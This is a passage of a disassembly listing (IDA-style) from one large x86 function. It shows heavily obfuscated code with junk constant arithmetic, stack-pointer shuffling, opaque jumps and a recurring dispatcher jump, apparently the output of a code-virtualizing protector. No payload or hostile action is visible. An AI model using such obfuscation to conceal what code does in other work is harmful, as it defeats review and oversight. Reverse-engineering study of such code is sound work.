; ---------------------------------------------------------------------------


loc_5916DB:				; CODE XREF: sub_58A891+6D3Fj
		add	esp, 4
		pop	[esp+16h+var_18+2]
		pop	esp
		push	ecx
		mov	ecx, 0
		sub	ecx, 647ACDh
		add	ecx, edx
		jmp	loc_58E913
; ---------------------------------------------------------------------------


loc_5916F8:				; CODE XREF: sub_58A891+801Cj
		mov	ah, 4Eh
		jmp	loc_599F72
; ---------------------------------------------------------------------------


loc_5916FF:				; CODE XREF: sub_58A891+4568j
					; sub_58A891+6D56j
		mov	[esp-0Ch+arg_4], edx
		jmp	loc_58FFD3
; ---------------------------------------------------------------------------


loc_591707:				; CODE XREF: sub_58A891+10E33j
		pop	edi
		mov	ebp, [esp-10h+arg_8]
		jmp	loc_58F16B
; ---------------------------------------------------------------------------


loc_591710:				; DATA XREF: sub_58A891+3AAFo
		mov	cx, word ptr [esp+8+var_8]
		push	ebp
		mov	ebp, esp
		jmp	loc_596812
; ---------------------------------------------------------------------------


loc_59171C:				; CODE XREF: sub_58A891+C8BBj
		and	si, 4388h
		jmp	loc_593AC0
; ---------------------------------------------------------------------------


loc_591726:				; CODE XREF: sub_58A891+8D55j
					; sub_58A891+AB9Bj
		add	esp, 4
		push	eax
		jmp	loc_58EF46
; ---------------------------------------------------------------------------


loc_59172F:				; CODE XREF: sub_58A891+10711j
		push	eax
		jmp	loc_58FCE2
; ---------------------------------------------------------------------------


loc_591735:				; CODE XREF: sub_58A891+72E4j
		push	ebx
		mov	bl, 59h
		jmp	loc_58E9EA
; ---------------------------------------------------------------------------


loc_59173D:				; CODE XREF: sub_58A891+D093j
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_591744:				; CODE XREF: sub_58A891+48C3j
					; sub_58A891+7915j
		push	71BBh
		jmp	loc_58F0DE
; ---------------------------------------------------------------------------


loc_59174E:				; CODE XREF: sub_58A891+C7EAj
		xor	ecx, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], eax
		jmp	loc_5986AC
; ---------------------------------------------------------------------------


loc_59175A:				; CODE XREF: sub_58A891+9FF1j
					; sub_58A891+FA4Bj
		pop	ebx
		jmp	loc_5998E1
; ---------------------------------------------------------------------------


loc_591760:				; CODE XREF: sub_58A891+AD5Bj
		mov	edi, 4
		add	edx, edi
		jmp	loc_5972ED
; ---------------------------------------------------------------------------


loc_59176C:				; CODE XREF: sub_58A891+893Bj
		pop	ebp
		add	eax, edx
		add	eax, 2FF742E9h
		jmp	loc_59B28C
; ---------------------------------------------------------------------------


loc_591779:				; CODE XREF: sub_58A891+4D61j
		push	eax
		mov	eax, 769B1C92h
		sub	eax, 7557FF13h
		push	edx
		mov	edx, 6E9969C0h
		jmp	loc_59637D
; ---------------------------------------------------------------------------


loc_59178F:				; CODE XREF: sub_58A891+F8F3j
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_46+2], ecx
		sub	esp, 4
		mov	[esp+48h+var_4A+2], edx
		push	ecx
		mov	ch, 3Dh
		mov	dl, ch
		pop	ecx
		jmp	loc_58EE1B
; ---------------------------------------------------------------------------


loc_5917B9:				; CODE XREF: sub_58A891+DCE2j
		sub	eax, 4D7E6DC8h
		sub	eax, ebp
		add	eax, 4D7E6DC8h
		jmp	loc_5995D1
; ---------------------------------------------------------------------------


loc_5917CA:				; CODE XREF: sub_58A891+F5CAj
		sub	edi, 54663A55h
		mov	ebp, [esp+48h+var_4A+2]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ebp
		mov	ebp, 2A0018F5h
		push	38DAh
		mov	[esp+0], ebx
		push	ecx
		jmp	loc_59667F
; ---------------------------------------------------------------------------


loc_5917F3:				; CODE XREF: sub_58A891+FC27j
		push	edx
		mov	edx, 4F30C8Fh
		add	ebx, edx
		pop	edx
		jmp	loc_596973
; ---------------------------------------------------------------------------


loc_591801:				; DATA XREF: sub_58A891+3BB7o
		mov	eax, [esp+8+var_8]
		jmp	loc_59ADFE
; ---------------------------------------------------------------------------


loc_591809:				; CODE XREF: sub_58A891+FB69j
		add	ecx, 4
		jmp	loc_590E7E
; ---------------------------------------------------------------------------


loc_591814:				; DATA XREF: sub_58A891+3A27o
		mov	ax, word ptr [esp+8+var_8]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], eax
		push	esp
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		add	eax, 4
		push	ecx
		push	2
		mov	ecx, [esp+10h+var_10]
		jmp	loc_59AED3
; ---------------------------------------------------------------------------


loc_59184B:				; CODE XREF: sub_58A891+D54Dj
		sub	esp, 4
		jmp	loc_59B734
; ---------------------------------------------------------------------------


loc_591856:				; CODE XREF: sub_58A891+98BCj
		add	eax, 4
		xchg	eax, [esp+14h+var_14]
		pop	esp
		shl	si, 7
		jmp	loc_59197D
; ---------------------------------------------------------------------------


loc_591866:				; CODE XREF: sub_58A891+AA7Bj
		shr	edx, 8
		neg	edx
		push	edx
		not	[esp+14h+var_14]
		inc	[esp+14h+var_14]
		pop	edx
		jmp	loc_599EAD
; ---------------------------------------------------------------------------


loc_591878:				; CODE XREF: sub_58A891+3EFDj
		xor	ecx, esi
		pop	esi
		sub	esi, ecx
		pop	ecx
		jmp	loc_590571
; ---------------------------------------------------------------------------


loc_591883:				; CODE XREF: sub_58A891+6AB5j
					; sub_58A891+C025j
		add	esi, 6F7B1693h
		sub	esi, 244A08C5h
		jmp	loc_59438A
; ---------------------------------------------------------------------------


loc_591894:				; CODE XREF: sub_58A891+B853j
		mov	[esp+4+var_4], eax
		jmp	loc_5966F6
; ---------------------------------------------------------------------------


loc_59189C:				; CODE XREF: sub_58A891+FDEBj
		jmp	loc_597DFF
; ---------------------------------------------------------------------------


loc_5918A1:				; CODE XREF: sub_58A891+56D0j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5918A6:				; CODE XREF: sub_58A891+F39Fj
		push	200000h
		push	[esp+4Ch+var_4E+2]
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		add	esp, 4
		and	eax, edx
		push	[esp+48h+var_4A+2]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4Ch+var_4E+2]
		pop	esp
		or	eax, eax
		jz	loc_5975BA
		push	dword ptr [edi+28h]
		push	eax
		push	ebp
		jmp	loc_596D4B
; ---------------------------------------------------------------------------


loc_5918E3:				; CODE XREF: sub_58A891+C06Aj
		mov	[esp+54h+var_54], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+54h+var_54]
		jmp	loc_597AD7
; ---------------------------------------------------------------------------


loc_5918F3:				; CODE XREF: sub_58A891+4704j
					; sub_58A891+8B1Cj
		mov	ecx, 60511C87h
		push	ecx
		xchg	eax, [esp+48h+var_4A+2]
		not	eax
		jmp	loc_59999F
; ---------------------------------------------------------------------------


loc_591903:				; CODE XREF: sub_58A891+99BDj
		jge	loc_5927F7
		shr	edi, 3
		jmp	loc_599700
; ---------------------------------------------------------------------------


loc_591911:				; CODE XREF: sub_58A891+5FF2j
		push	ebp
		mov	ebp, 763385Ch
		inc	ebp
		add	ebp, 0F89CC7A5h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5983A1
; ---------------------------------------------------------------------------


loc_591926:				; CODE XREF: sub_58A891+8433j
		add	esp, 4
		jmp	loc_59A673
; ---------------------------------------------------------------------------


loc_591931:				; CODE XREF: sub_58A891+A76Dj
		jmp	loc_59B5E8
; ---------------------------------------------------------------------------


loc_591936:				; CODE XREF: sub_58A891+B31Aj
		sub	ebx, edx
		pop	edx
		add	eax, 29EF3531h
		add	eax, ebx
		sub	eax, 29EF3531h
		pop	ebx
		mov	edx, eax
		jmp	loc_599921
; ---------------------------------------------------------------------------


loc_59194D:				; CODE XREF: sub_58A891+C5D6j
		sub	esp, 4
		mov	[esp-8+arg_0], ebp
		push	22E6h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ebp
		jmp	loc_596674
; ---------------------------------------------------------------------------


loc_591965:				; CODE XREF: sub_58A891+1129Bj
		add	eax, 61423A8Ch
		jmp	loc_595491
; ---------------------------------------------------------------------------


loc_59196F:				; CODE XREF: sub_58A891+101E4j
		add	eax, ebx
		pop	ebx
		jmp	loc_5974E0
; ---------------------------------------------------------------------------


loc_591977:				; CODE XREF: sub_58A891+F68Fj
		push	edx
		jmp	loc_58F7F4
; ---------------------------------------------------------------------------


loc_59197D:				; CODE XREF: sub_58A891+6FD0j
		shl	si, 1
		jmp	loc_595D93
; ---------------------------------------------------------------------------


loc_591985:				; CODE XREF: sub_58A891+EA0Bj
		jmp	loc_596025
; ---------------------------------------------------------------------------


loc_59198A:				; CODE XREF: sub_58A891+F6F9j
		push	esi
		jmp	loc_59A3A6
; ---------------------------------------------------------------------------


loc_591990:				; CODE XREF: sub_58A891+EFD9j
		sub	eax, 4
		push	eax
		push	[esp+18h+var_14]
		pop	eax
		pop	[esp+18h+var_18]
		jmp	loc_59B868
; ---------------------------------------------------------------------------


loc_5919A1:				; DATA XREF: sub_58A891+3A8Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5919B1:				; CODE XREF: sub_58A891+8012j
		sub	eax, 4BDB0D9Dh
		add	eax, ecx
		add	eax, 4BDB0D9Dh
		jmp	loc_58FBC9
; ---------------------------------------------------------------------------


loc_5919C2:				; CODE XREF: sub_58A891+E20Dj
		jmp	loc_594DB6
; ---------------------------------------------------------------------------


loc_5919C7:				; CODE XREF: sub_58A891+4A14j
		sub	esi, 1267C5A2h
		mov	ebp, esi
		jmp	loc_596E50
; ---------------------------------------------------------------------------


loc_5919D4:				; DATA XREF: sub_58A891+3B43o
		mov	ax, word ptr [esp+8+var_8]
		push	esi
		push	esp
		jmp	loc_599E83
; ---------------------------------------------------------------------------


loc_5919DF:				; DATA XREF: sub_58A891+3997o
		push	[esp+8+var_8]
		pop	ecx
		push	5061h
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		push	edi
		push	6ADB65ADh
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_5947FB
; ---------------------------------------------------------------------------


loc_591A08:				; CODE XREF: sub_58A891+61EAj
		push	ecx
		mov	ch, 0C2h
		or	ch, 0F2h
		shr	ch, 6
		jmp	loc_59A8E5
; ---------------------------------------------------------------------------


loc_591A16:				; CODE XREF: sub_58A891+55A5j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+4Ch+var_4E+2]
		xor	[esp+4Ch+var_4E+2], ebx
		xor	ebx, [esp+4Ch+var_4E+2]
		pop	esp
		push	5098h
		mov	[esp+4Ch+var_4E+2], ebp
		sub	esp, 4
		jmp	loc_59445E
; ---------------------------------------------------------------------------


loc_591A3C:				; CODE XREF: sub_58A891+10F8Bj
		mov	[esp+0], ebx
		jmp	loc_593845
; ---------------------------------------------------------------------------


loc_591A44:				; CODE XREF: sub_58A891+5235j
		push	4AB0h
		mov	[esp+28h+var_28], ebp
		mov	ebp, ebx
		jmp	loc_58ED22
; ---------------------------------------------------------------------------


loc_591A53:				; CODE XREF: sub_58A891+10F40j
		pop	ebx
		jmp	loc_59BAA7
; ---------------------------------------------------------------------------


loc_591A59:				; CODE XREF: sub_58A891+B4EAj
		mov	esp, [esp+24h+var_24]
		btr	word ptr [esp+24h+var_24], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_591A67:				; CODE XREF: sub_58A891+5278j
		pop	esp
		mov	[esp-0Ch+arg_4], ebx
		sub	esp, 4
		mov	[esp-8+arg_0], eax
		mov	ebx, [esp-8+arg_0]
		jmp	loc_59849C
; ---------------------------------------------------------------------------


loc_591A79:				; CODE XREF: sub_58A891+788Cj
		pop	edx
		add	bl, 7Ah
		jmp	loc_59645F
; ---------------------------------------------------------------------------


loc_591A82:				; CODE XREF: sub_58A891+A2B7j
		mov	ebx, 725C4D3Ah
		mov	esi, ebx
		pop	ebx
		add	dword ptr [esp+4], 2D223FF0h
		jmp	loc_596AA4
; ---------------------------------------------------------------------------


loc_591A97:				; CODE XREF: sub_58A891+C7C5j
		mov	eax, 6350B5Bh
		or	ebx, eax
		pop	eax
		push	2AADh
		mov	[esp-10h+arg_8], eax
		mov	eax, 6FFFFF5h
		jmp	loc_59314D
; ---------------------------------------------------------------------------


loc_591AB1:				; CODE XREF: sub_58A891+A911j
		mov	ebp, [esp-10h+arg_8]
		add	esp, 4
		add	esi, edi
		add	esi, 7E754A1Dh
		pop	edi
		add	esi, 2
		xor	esi, [esp-18h+arg_E+2]
		xor	[esp-18h+arg_E+2], esi
		xor	esi, [esp-18h+arg_E+2]
		pop	esp
		jmp	loc_5941AC
; ---------------------------------------------------------------------------


loc_591AD8:				; CODE XREF: sub_58A891+FB26j
		push	eax
		jmp	loc_5990C9
; ---------------------------------------------------------------------------


loc_591ADE:				; CODE XREF: sub_58A891+9696j
		mov	ecx, 3Ch
		add	ecx, 1B474372h
		add	ecx, edi
		jmp	loc_596887
; ---------------------------------------------------------------------------


loc_591AF0:				; CODE XREF: sub_58A891+B3CBj
					; sub_58A891+FD6Bj
		pop	ebx
		push	ebp
		push	[esp-18h+arg_18]
		pop	ebp
		jmp	loc_591B8C
; ---------------------------------------------------------------------------


loc_591AFC:				; CODE XREF: sub_58A891+E646j
		push	ecx
		push	esp
		pop	ecx
		push	eax
		jmp	loc_592EDE
; ---------------------------------------------------------------------------


loc_591B05:				; CODE XREF: sub_58A891+76F9j
		pop	ecx
		mov	ecx, [esp+0]
		jmp	loc_594405
; ---------------------------------------------------------------------------


loc_591B0E:				; CODE XREF: sub_58A891+470Aj
					; sub_58A891+5C8Cj
		mov	esi, 7F237DD5h
		jmp	loc_591E31
; ---------------------------------------------------------------------------


loc_591B18:				; CODE XREF: sub_58A891+68A9j
		shl	dh, 4
		jnp	loc_59863C
		shl	dh, 8
		jnz	loc_5914E7
		push	ecx
		mov	cl, 66h
		pop	esi


loc_591B2E:				; CODE XREF: sub_58A891+7F59j
		push	13F8h
		mov	[esp+44h+var_46+2], ecx
		jmp	loc_5982DE
; ---------------------------------------------------------------------------


loc_591B3B:				; CODE XREF: sub_58A891+A831j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5907DE
; ---------------------------------------------------------------------------


loc_591B4C:				; CODE XREF: sub_58A891+F6DCj
		mov	eax, 4
		jmp	loc_592D63
; ---------------------------------------------------------------------------


loc_591B56:				; CODE XREF: sub_58A891+E242j
		mov	dh, bl
		mov	cl, dh
		pop	edx
		mov	ebx, [esp+40h+var_40]
		add	esp, 4
		not	cl
		shl	cl, 1
		xchg	bl, cl
		not	bl
		xor	cl, bl
		xor	bl, cl
		xor	cl, bl
		sub	cl, 9Fh
		jmp	loc_591735
; ---------------------------------------------------------------------------


loc_591B7A:				; CODE XREF: sub_58A891+D060j
		jge	loc_58F300
		sub	edx, 4FFF77FEh
		mov	eax, edx
		mov	cl, 4Dh
		mov	cl, 97h


loc_591B8C:				; CODE XREF: sub_58A891+7266j
		pop	[esp+44h+var_46+2]
		mov	esp, [esp+40h+var_40]
		add	esp, 4
		push	[esp+3Ch+var_3C]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		push	4
		mov	eax, [esp+48h+var_4A+2]
		jmp	loc_59222A
; ---------------------------------------------------------------------------


loc_591BB3:				; CODE XREF: sub_58A891+8730j
		add	ebp, 0CDEDBE99h
		jmp	loc_590AAD
; ---------------------------------------------------------------------------


loc_591BBE:				; CODE XREF: sub_58A891+90F8j
		sub	dl, 93h
		jmp	loc_59B013
; ---------------------------------------------------------------------------


loc_591BC6:				; CODE XREF: sub_58A891+76B8j
		sub	ecx, eax
		pop	eax
		jmp	loc_595CCE
; ---------------------------------------------------------------------------


loc_591BCE:				; CODE XREF: sub_58A891+FD15j
		add	[esp+44h+var_46+2], 4
		jmp	loc_58EC31
; ---------------------------------------------------------------------------


loc_591BDA:				; CODE XREF: sub_58A891+4642j
		pop	esp
		add	ebp, esi
		pop	esi
		jmp	loc_594CE8
; ---------------------------------------------------------------------------


loc_591BE3:				; CODE XREF: sub_58A891+10CA8j
		mov	edi, ebp
		jmp	loc_593FCC
; ---------------------------------------------------------------------------


loc_591BEA:				; CODE XREF: sub_58A891+106BFj
		mov	ecx, 3DBA1AC2h
		jmp	loc_59909F
; ---------------------------------------------------------------------------


loc_591BF4:				; CODE XREF: sub_58A891+4234j
					; sub_58A891+99D8j
		jge	loc_591214
		xor	esi, 13AD57C4h
		add	edi, 27D742CFh
		add	edi, esi
		push	esi


loc_591C09:				; CODE XREF: sub_58A891+BD7Ej
		mov	cl, dl
		mov	bl, cl
		pop	ecx
		pop	edx
		pop	cx
		add	dh, 25h
		jmp	loc_593722
; ---------------------------------------------------------------------------


loc_591C19:				; CODE XREF: sub_58A891+7787j
		push	ax
		mov	ah, 0F9h
		sub	cl, ah
		jmp	loc_59A189
; ---------------------------------------------------------------------------


loc_591C24:				; CODE XREF: sub_58A891+97D8j
		sub	al, 0EAh
		add	al, 98h
		sub	al, ch
		sub	al, 98h
		jmp	loc_597A41
; ---------------------------------------------------------------------------


loc_591C31:				; CODE XREF: sub_58A891+65E0j
		push	5A29h
		mov	[esp+8+var_8], ebp
		jmp	loc_59000A
; ---------------------------------------------------------------------------


loc_591C3E:				; CODE XREF: sub_58A891+A359j
		mov	bl, 1Eh
		jmp	loc_598CF8
; ---------------------------------------------------------------------------


loc_591C45:				; CODE XREF: sub_58A891+109D7j
		neg	ecx
		sub	ecx, 149C3848h
		not	ecx
		sub	ecx, 1
		jmp	loc_59698C
; ---------------------------------------------------------------------------


loc_591C5A:				; CODE XREF: sub_58A891+55ACj
		add	eax, 4
		jmp	loc_591F4E
; ---------------------------------------------------------------------------


loc_591C64:				; CODE XREF: sub_58A891+AE5Dj
		add	ecx, 0E3E4F2Eh
		add	ecx, 9BEB7A28h
		mov	esi, ecx
		jmp	loc_596F80
; ---------------------------------------------------------------------------


loc_591C77:				; CODE XREF: sub_58A891+CBB8j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		mov	ebp, 2
		add	eax, 593538F4h
		jmp	loc_592984
; ---------------------------------------------------------------------------


loc_591C94:				; CODE XREF: sub_58A891+5A8Bj
		add	[esp+28h+var_28], 22EE5B53h
		jmp	loc_5929D5
; ---------------------------------------------------------------------------


loc_591CA0:				; CODE XREF: sub_58A891+4753j
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+3Ch+var_3C]
		pop	esp
		inc	byte ptr [esp+38h+var_38]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_591CB0:				; CODE XREF: sub_58A891+428Dj
		mov	ax, word ptr [esp+3Ch+var_3C]
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_58F668
; ---------------------------------------------------------------------------


loc_591CBD:				; CODE XREF: sub_58A891:loc_592FC6j
					; sub_58A891+EEB7j
		add	esp, 4
		jmp	loc_59B7D6
; ---------------------------------------------------------------------------


loc_591CC5:				; CODE XREF: sub_58A891+AE71j
		pop	ecx
		jmp	loc_593AC6
; ---------------------------------------------------------------------------


loc_591CCB:				; CODE XREF: sub_58A891+106F1j
		xor	edi, 30352D68h
		add	edx, edi
		pop	edi
		push	edx
		push	[esp+3Ch+var_38]
		pop	edx
		pop	[esp+3Ch+var_3C]
		jmp	loc_598709
; ---------------------------------------------------------------------------


loc_591CE2:				; CODE XREF: sub_58A891+AE8Dj
		push	esi
		mov	esi, 59565DF9h
		or	esi, 67251F49h
		neg	esi
		jmp	loc_599387
; ---------------------------------------------------------------------------


loc_591CF5:				; DATA XREF: sub_58A891+3B67o
		lodsd
		xor	eax, ebx
		push	5757h
		mov	[esp+0Ch+var_C], esi
		jmp	loc_59AE25
; ---------------------------------------------------------------------------


loc_591D05:				; CODE XREF: sub_58A891+A842j
		push	ebp
		push	[esp+10h+var_C]
		jmp	loc_5997B6
; ---------------------------------------------------------------------------


loc_591D0F:				; CODE XREF: sub_58A891+6C6Fj
		mov	edi, ebx
		pop	ebx
		push	ecx
		sub	esp, 4
		mov	[esp+44h+var_46+2], ebx
		mov	ebx, 67304B94h
		jmp	loc_59079E
; ---------------------------------------------------------------------------


loc_591D26:				; CODE XREF: sub_58A891+97A5j
		pop	edi
		push	edx
		mov	edx, 0F8E0BDEh
		neg	edx
		push	ecx
		push	esi
		mov	esi, 4B550FAAh
		shl	esi, 3
		or	esi, 70BF1A06h
		jnp	loc_595AD7
		and	esi, 667C6700h
		jz	loc_591E09
		add	esi, 0F164EC3h
		sub	esi, 2FF11BDCh
		jmp	loc_59A490
; ---------------------------------------------------------------------------


loc_591D62:				; CODE XREF: sub_58A891+F7B8j
		mov	bx, bp
		pop	ebp
		jmp	loc_598709
; ---------------------------------------------------------------------------


loc_591D6B:				; CODE XREF: sub_58A891+4927j
		push	767Eh
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 0CC16782h
		jmp	loc_593B10
; ---------------------------------------------------------------------------


loc_591D7D:				; DATA XREF: sub_58A891+3A97o
		mov	cx, word ptr [esp+8+var_8]
		push	0D6h
		mov	[esp+0Ch+var_C], edx
		sub	esp, 4
		jmp	loc_5927EF
; ---------------------------------------------------------------------------


loc_591D91:				; CODE XREF: sub_58A891+6624j
					; sub_58A891+9EDCj ...
		dec	ah
		jno	loc_5903BC
		xor	ah, 0DAh
		mov	dl, ah
		push	dword ptr [esp+0]
		jmp	loc_591EA7
; ---------------------------------------------------------------------------
		pop	esi


loc_591DA7:				; CODE XREF: sub_58A891+6903j
		xor	edi, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		add	ebp, edi
		jmp	loc_595398
; ---------------------------------------------------------------------------


loc_591DB9:				; CODE XREF: sub_58A891+5270j
					; sub_58A891:loc_599426j
		pop	[esp-8+arg_0]
		push	6FD2h
		mov	[esp-8+arg_0], ecx
		mov	ecx, 4
		jmp	loc_593346
; ---------------------------------------------------------------------------


loc_591DCE:				; CODE XREF: sub_58A891+608Dj
					; sub_58A891+91D9j ...
		add	eax, esi
		push	esi
		mov	esi, 0AF61077h
		sub	eax, esi
		pop	esi
		jmp	loc_599ED5
; ---------------------------------------------------------------------------


loc_591DDE:				; CODE XREF: sub_58A891+5ADFj
		sub	edi, 3CAF2E8Ch
		mov	eax, [esp+24h+var_24]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		jmp	loc_591617
; ---------------------------------------------------------------------------


loc_591DFE:				; CODE XREF: sub_58A891+66C3j
		not	edi
		shl	edi, 8
		dec	edi
		jmp	loc_592290
; ---------------------------------------------------------------------------


loc_591E09:				; CODE XREF: sub_58A891+74BAj
					; sub_58A891+D871j
		add	eax, 597BB49Bh
		sub	ecx, eax
		mov	eax, [esp+4Ch+var_4E+2]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		jmp	loc_5933C3
; ---------------------------------------------------------------------------


loc_591E29:				; CODE XREF: sub_58A891+47A0j
		mov	ebx, [esp+34h+var_34]
		jmp	loc_5936EC
; ---------------------------------------------------------------------------


loc_591E31:				; CODE XREF: sub_58A891+7282j
					; sub_58A891+A974j
		xor	ebx, esi
		pop	esi
		push	6903h
		mov	[esp+44h+var_46+2], ebx
		xchg	edi, [esp+44h+var_46+2]
		jmp	loc_59AF2D
; ---------------------------------------------------------------------------


loc_591E44:				; CODE XREF: sub_58A891+5A37j
		pop	ecx
		jmp	loc_598F50
; ---------------------------------------------------------------------------


loc_591E4A:				; CODE XREF: sub_58A891+473Dj
		mov	[esp+40h+var_40], ecx
		mov	cl, dl
		jmp	loc_59168E
; ---------------------------------------------------------------------------


loc_591E54:				; CODE XREF: sub_58A891+BD3Cj
		push	[esp+40h+var_40]
		jmp	loc_593571
; ---------------------------------------------------------------------------


loc_591E5C:				; CODE XREF: sub_58A891+C36Aj
		mov	ecx, esp
		push	eax
		push	ebp
		mov	ebp, 696A63DBh
		or	ebp, 36A7165Ah
		inc	ebp
		or	ebp, 5BFB3FEFh
		jo	loc_590841
		dec	ebp
		jle	loc_58EE53
		add	ebp, 80008006h
		push	edi
		jmp	loc_590F73
; ---------------------------------------------------------------------------


loc_591E8B:				; CODE XREF: sub_58A891+10D20j
		or	ebx, 6E431059h
		add	ebx, 354A5285h
		jmp	loc_59A74F
; ---------------------------------------------------------------------------


loc_591E9C:				; CODE XREF: sub_58A891+10C2Dj
		xor	ecx, [esp+0]
		pop	esp
		div	ecx
		jmp	loc_592BAF
; ---------------------------------------------------------------------------


loc_591EA7:				; CODE XREF: sub_58A891+7510j
					; sub_58A891+F9D7j
		add	dh, 54h
		mov	ah, dh
		pop	edx
		sub	ch, ah
		mov	ax, [esp+0]
		push	7965h
		mov	[esp+0], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		xor	al, ch
		mov	ecx, [esp+0]
		add	esp, 4
		xor	bl, al
		push	edx
		mov	dl, al
		push	ebx
		mov	ebx, 28h
		push	esi
		mov	esi, 5EA60EA0h
		add	ebx, esi
		mov	esi, [esp+8+var_8]
		jmp	loc_599FE1
; ---------------------------------------------------------------------------


loc_591EF2:				; CODE XREF: sub_58A891+103A5j
		add	ebx, edi
		pop	edi
		pop	eax
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		jmp	loc_58F2AA
; ---------------------------------------------------------------------------


loc_591F03:				; CODE XREF: sub_58A891+EFF9j
		not	bl
		neg	bl
		jmp	loc_5903DD
; ---------------------------------------------------------------------------


loc_591F0C:				; CODE XREF: sub_58A891:loc_59219Fj
		inc	eax
		js	loc_597FD2
		jmp	loc_599773
; ---------------------------------------------------------------------------
		pop	edx
		push	edx
		mov	al, al
		mov	al, ch


loc_591F1E:				; CODE XREF: sub_58A891+9E5Bj
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		push	dword ptr [esp+0]
		jmp	loc_595A08
; ---------------------------------------------------------------------------


loc_591F2F:				; CODE XREF: sub_58A891+8421j
		sub	edi, 7F82166Ah
		jmp	loc_5921B3
; ---------------------------------------------------------------------------


loc_591F3A:				; CODE XREF: sub_58A891+10577j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		jmp	loc_591BC6
; ---------------------------------------------------------------------------


loc_591F4E:				; CODE XREF: sub_58A891+73CEj
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		push	edx
		mov	dl, 0E3h
		add	dl, 0D4h
		push	65C5h
		mov	[esp+10h+var_10], ecx
		jmp	loc_594EDC
; ---------------------------------------------------------------------------


loc_591F68:				; CODE XREF: sub_58A891+683Dj
		push	edx
		push	edi
		jmp	loc_59731B
; ---------------------------------------------------------------------------


loc_591F6F:				; CODE XREF: sub_58A891+858Fj
		shl	ebx, 5
		and	ebx, 172F1B34h
		shl	ebx, 4
		or	ebx, 77B43B80h
		jmp	loc_594D5A
; ---------------------------------------------------------------------------


loc_591F86:				; CODE XREF: sub_58A891+BB13j
		sub	[esp+5Ch+var_58], ecx
		jmp	loc_591B05
; ---------------------------------------------------------------------------


loc_591F8F:				; CODE XREF: sub_58A891+D796j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_591F94:				; CODE XREF: sub_58A891+B9B6j
		mov	ebp, 6BF652F6h
		shl	ebp, 1
		shl	ebp, 5
		shr	ebp, 5
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+60h+var_60]
		pop	esp
		mov	[esp+5Ch+var_5C], ecx
		push	0DBF579F8h
		pop	ecx
		push	ecx
		mov	ecx, 2F426D2Bh
		sub	ebp, ecx
		pop	ecx
		sub	ebp, ecx
		sub	esp, 4
		mov	[esp+60h+var_60], ebx
		jmp	loc_593CE7
; ---------------------------------------------------------------------------


loc_591FD3:				; CODE XREF: sub_58A891+DDDAj
		pop	esp
		push	6C39h
		mov	[esp+60h+var_60], eax
		jmp	loc_59A3C3
; ---------------------------------------------------------------------------


loc_591FE1:				; CODE XREF: sub_58A891+A15Cj
		push	edx
		mov	dl, 69h
		jmp	loc_59A342
; ---------------------------------------------------------------------------


loc_591FE9:				; CODE XREF: sub_58A891:loc_596BC7j
		or	ecx, 64EC7735h
		jb	loc_58F498
		xor	ecx, 76EEFB75h
		sub	esp, 4
		jmp	loc_593225
; ---------------------------------------------------------------------------


loc_592003:				; CODE XREF: sub_58A891+AB66j
					; sub_58A891+B54Fj
		pop	esp
		jmp	loc_5996B6
; ---------------------------------------------------------------------------


loc_592009:				; CODE XREF: sub_58A891+8B8Aj
		push	bx
		mov	bx, 4636h
		jmp	loc_595032
; ---------------------------------------------------------------------------


loc_592014:				; CODE XREF: sub_58A891+B241j
		mov	cl, 21h
		inc	cl
		jmp	loc_591C19
; ---------------------------------------------------------------------------


loc_59201D:				; CODE XREF: sub_58A891+A57Bj
		push	0
		sub	[esp+6Ah+var_6C+2], ebp
		pop	ebp
		push	2A70h
		jmp	loc_598DD1
; ---------------------------------------------------------------------------


loc_592030:				; CODE XREF: sub_58A891+600Cj
		shl	ecx, 2
		push	ebx
		mov	ebx, 0C51B3F1Ch
		xor	ecx, ebx
		pop	ebx
		add	edi, ecx
